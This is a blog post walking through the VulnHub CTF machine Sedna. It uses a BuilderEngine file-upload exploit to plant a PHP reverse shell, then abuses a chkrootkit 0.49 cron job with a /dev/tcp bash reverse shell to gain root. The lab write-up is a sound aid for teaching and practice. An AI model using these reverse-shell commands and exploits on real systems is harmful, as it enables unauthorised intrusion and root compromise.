PageRenderTime 54ms CodeModel.GetById 23ms RepoModel.GetById 0ms app.codeStats 0ms

/_posts/2020-09-19-sedna-vulnhub.md

https://github.com/wulfgarpro/wulfgarpro.github.io
Markdown | 193 lines | 130 code | 63 blank | 0 comment | 0 complexity | 85a6ee9e85440b9ab23a3d86cecd63a9 MD5 | raw file
  1. ---
  2. layout: post
  3. title: PenLog - Sedna by VulnHub
  4. categories: [VulnHub, Penlog, Write Up, CTF, OSCP]
  5. ---
  6. ## Details
  7. **Platform:** [VulnHub](https://www.vulnhub.com/)\
  8. **Difficulty:** Medium\
  9. **Link:** [HACKFEST2016: SEDNA](https://www.vulnhub.com/entry/hackfest2016-sedna,181/)
  10. ## Enumeration
  11. Run `netdiscover` to find the IP address of the VM:
  12. ```bash
  13. $ netdiscover -i vmnet1
  14. 192.168.42.130 00:0c:29:9a:47:01 1 42 VMware, Inc.
  15. ```
  16. Run full `nmap` port scan on the discovered target IP:
  17. ```bash
  18. $ nmap -vv -Pn -sT -T4 -p- -n 192.168.42.130
  19. ```
  20. This results in:
  21. ![nmap2](/images/posts/penlog_sedna_by_vulnhub/nmap2.png)
  22. Run `dirbuster` against the target's open http port 80 using the _/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt_ wordlist and
  23. options _Be Recursive_ switched off, and _File extension_ set to _html, php, txt_.
  24. Note **/licence.txt** in the result; navigate to this in the browser and notice the line:
  25. Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.
  26. Continuing through the `DirBuster` results, note **/finder.html**, which, when navigated to in the browser,
  27. has the title: **elFinder 2.0**.
  28. Searching Google, there is a **BuilderEngine** project on GitHub at [tripflex/builder-engine]() with the
  29. description: _"Open source CMS HTML 5 website builder."_
  30. Taking a chance on this, use `searchsploit` and evaluate results:
  31. ```bash
  32. $ searchsploit enginebuilder
  33. ...
  34. ```
  35. ![searchsploit](/images/posts/penlog_sedna_by_vulnhub/searchsploit_enginebuilder.png)
  36. Download the non-Metasploit PoC with EDB-ID [40390](https://www.exploit-db.com/exploits/40390):
  37. ```bash
  38. $ searchsploit -m 40390
  39. ```
  40. ### 40390 Description
  41. 40390 reports EngineBuilder v3.5.0 as having a Remote Code Execution vulnerability; reading the PoC, it describes the ability to perform Arbitrary File Upload via unauthenticated, unrestricted access to a bundled jQuery File Upload plugin _/themes/dashboard/assets/plugins/jquery-file-upload_.
  42. With this file upload capability, upload a reverse PHP shell--the website is serving PHP--to establish a low-privilege _user_ shell.
  43. ## User Shell
  44. Copy 40390, changing the extension from _.php_ to _.html_:
  45. ```bash
  46. $ cp 40390.{php,html}
  47. ```
  48. Update the PoC's action string to instead include the target IP address:
  49. ```bash
  50. $ diff 40390.html 40390.php
  51. 22c22
  52. < <form method="post" action="http://192.168.42.130/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
  53. ---
  54. > <form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
  55. 27c27
  56. < </html>
  57. ---
  58. > </html>
  59. \ No newline at end of file
  60. ```
  61. Copy _/usr/share/webshells/php/php-reverse-shell.php_ from Kali's bundled webshells and update the connect back IP address/port to be the attacking IP address/port:
  62. ![php-webshell](/images/posts/penlog_sedna_by_vulnhub/php_webshell.png)
  63. Serve the _html_ version of 40390 locally and upload the modified _php-reverse-shell.php_:
  64. ![40390-upload](/images/posts/penlog_sedna_by_vulnhub/40390_upload.png)
  65. As noted in the documentation, 40390 advises that the uploaded shell will be accessible via _/files_:
  66. ![files-list](/images/posts/penlog_sedna_by_vulnhub/files_list.png)
  67. Start an `nc` lister on the port that was added to the modified _php-reverse-shell.php_:
  68. ```bash
  69. $ nc -vnlp 4444
  70. ```
  71. Click the _php-reverse-shell.php_ link in the browser and establish a reverse shell connection:
  72. ![user-shell](/images/posts/penlog_sedna_by_vulnhub/user_shell.png)
  73. _(**Note:** "reverse" in the above is a bash alias for `nc -vnlp 4444`.)_
  74. Get the user _flag.txt_:
  75. ![user-flag](/images/posts/penlog_sedna_by_vulnhub/user_flag.png)
  76. Lastly, upgrade the shell with a PTY:
  77. ```bash
  78. $ python -c 'import pty; pty.spawn("/bin/bash")'
  79. $ (Ctrl-Z)
  80. $ stty raw -echo
  81. $ fg
  82. $ export TERM=xterm && reset
  83. ```
  84. (After spending an hour looking at some other installed, vulnerable software, and attempting _Dirty Cow_ for this vulnerable _Linux Kernel v3.13.0-32_, I discovered a vector via `cron`.)
  85. Upload and execute custom `cronmon.sh`:
  86. ```bash
  87. $ cat cronmon.sh
  88. #!/bin/bash
  89. #IFS=$'\n'
  90. old_process=$(ps -eo command) # sort by command (-o)
  91. while true; do
  92. new_process=$(ps -eo command)
  93. diff <(echo "$old_process") <(echo "$new_process")
  94. sleep .2
  95. old_process=$new_process
  96. done
  97. ```
  98. After a while, notice `chkrootkit` in the output, running as **root**:
  99. ![chkrootkit-cron-root](/images/posts/penlog_sedna_by_vulnhub/chkrootkit_cron_root.png)
  100. Notice path _/etc/chkrootkit_ on target (non-standard) and version string in _/etc/chkrootkit/README_:
  101. ```bash
  102. $ cat /etc/chkrootkit/README
  103. ...
  104. 09/30/2009 - Version 0.49 new tests: Mac OS X OSX.RSPlug.A. Enhanced
  105. tests: suspicious sniffer logs, suspicious
  106. PHP files, shell history file anomalies.
  107. Bug fixes in chkdirs.c, chkproc.c and
  108. chkutmp.c.
  109. ```
  110. Search for a local privilege escalation with `searchsploit` and download the non-Metasploit PoC **33899**:
  111. ![33899-chkrootkit](/images/posts/penlog_sedna_by_vulnhub/33899_chkrootkit.png)
  112. _(**Note:** "ss" in the above is a bash alias for `searchsploit`.)_
  113. ### 33899 Description
  114. 33899 reports chkrootkit v0.49 as having a vulnerable function that will execute files specified in a variable due to unquoted variable assignment. The PoC goes on to describe _"Steps to reproduce"_:
  115. - Put an executable file named 'update' in /tmp
  116. - Run chkrootkit (as uid 0)
  117. ## Root Shell
  118. Follow the instructions and put the file with a bash reverse shell to attacking machine:
  119. ```bash
  120. $ echo "bash -i >& /dev/tcp/192.168.42.129/4445 0>&1" > /tmp/update
  121. $ chmod +x /tmp/update
  122. ```
  123. Start `nc` listener on the attacking machine, specifying the expected reverse shell port (4445 in this case):
  124. ```bash
  125. $ nc -vnlp 4445
  126. ```
  127. Wait for `cron` to execute `chkrootkit` as root; reading _/etc/crontab_, the root _/etc/cron.hourly_ will run every **17 min**:
  128. ![root-cron-hourly](/images/posts/penlog_sedna_by_vulnhub/root_cron_hourly.png)
  129. After _/tmp/update_ is executed as _root_ via the `cron` call to `chkrootkit`, get the root _flag.txt_ via the established root shell:
  130. ![root-shell](/images/posts/penlog_sedna_by_vulnhub/root_shell.png)